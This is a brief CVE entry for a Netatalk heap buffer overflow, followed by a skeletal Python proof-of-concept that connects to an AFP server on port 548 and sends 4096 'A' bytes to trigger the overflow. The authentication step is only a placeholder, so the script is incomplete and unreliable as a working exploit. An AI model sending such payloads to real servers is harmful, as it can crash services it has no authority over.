CVE-2026-44050 Netatalk堆缓冲区溢出漏洞

import socket # Target configuration TARGET_IP = "192.168.1.10" TARGET_PORT = 548 # Default AFP port # Proof of Concept payload to trigger heap overflow in comm_rcv() # Note: This requires valid authentication credentials (PR:L) def send_exploit(): try: # 1. Establish TCP connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_IP, TARGET_PORT)) print("[+] Connected to target") # 2. Authenticate (Abstracted) # In a real scenario, valid AFP login sequence occurs here. # ... authentication logic ... # 3. Craft malicious packet # Payload size designed to exceed the buffer limit in comm_rcv() buffer_size = 4096 junk = b"A" * buffer_size # 4. Send payload print("[+] Sending malicious payload...") s.send(junk) print("[+] Payload sent. Check service status.") s.close() except Exception as e: print(f"[-] Exploit failed: {e}") if __name__ == "__main__": send_exploit()